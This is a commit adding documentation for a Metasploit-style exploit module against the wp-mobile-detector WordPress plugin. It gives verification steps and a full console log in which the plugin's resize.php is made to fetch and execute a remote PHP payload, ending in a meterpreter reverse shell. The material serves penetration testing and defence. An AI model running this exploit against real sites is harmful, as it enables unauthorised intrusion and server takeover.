wp_mobile_detector rce

2017-10-20 23:19:58 -04:00
parent 60a7a80ff0
commit cfd7761818
2 changed files with 181 additions and 0 deletions
@@ -0,0 +1,63 @@
+## Vulnerable Application
+
+  wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
+  was disclosed.  Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
+  the file can be executed by the client.
+
+  Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
+  from Exploit-db since wordpress removed it.
+
+  Due to its age, it may be difficult to install.  The install for the scenario later is:
+
+  * Ubuntu 16.04.2
+  * Apache 2.4.18
+  * PHP 7
+  * Wordpress 4.4.2
+
+## Verification Steps
+
+  Example steps in this format (is also in the PR):
+
+  1. Install the application
+  2. Start msfconsole
+  3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
+  4. Do: ```set rhost [ip]```
+  5. Do: ```set lhost [ip]```
+  6. Do: ```set srvhost [ip]```
+  7. Do: ```exploit```
+  8. You should get a shell.
+
+## Scenarios
+
+### wp-mobile-detector 3.5 on Wordpress 4.4.2
+
+  ```
+  msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute 
+  msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
+  rhost => 2.2.2.2
+  msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
+  TARGETURI => /wordpress/
+  msf exploit(wp_mobile_detector_upload_execute) > check
+  [*] 2.2.2.2:80 The target appears to be vulnerable.
+  msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
+  payload => php/meterpreter/reverse_tcp
+  smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
+  lhost => 1.1.1.1
+  msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
+  srvhost => 1.1.1.1
+  msf exploit(wp_mobile_detector_upload_execute) > exploit
+  [*] Exploit running as background job 2.
+  
+  [*] Started reverse TCP handler on 1.1.1.1:4444 
+  msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
+  [*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
+  [*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
+  [+] Payload requested on server, sending
+  [+] Sleeping 5 seconds for payload upload
+  [*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
+  [*] Sending stage (37514 bytes) to 2.2.2.2
+  [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
+  [+] Deleted ZWTgqwsiFL.php
+  [*] Server stopped.
+  ```
+